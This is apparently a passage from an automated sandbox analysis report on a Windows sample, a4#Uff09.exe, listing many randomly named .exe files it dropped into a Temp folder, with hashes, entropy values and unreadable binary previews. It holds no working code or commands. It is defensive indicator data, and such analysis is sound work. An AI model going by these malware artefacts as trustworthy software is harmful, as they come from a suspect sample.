                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\vysmaf.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\whaxt.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winauiup.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winavuni.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winbdflex.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winbrthmh.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winbvep.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winbwmt.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\wincslka.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\windepba.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winebqy.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wineeqxj.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winfewg.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winfkykh.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winflpwb.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wingijnh.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\wingkjo.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winhmjdgr.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winhrwple.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\winidxjoi.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\wininjm.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winjyrl.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\winkeiefq.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
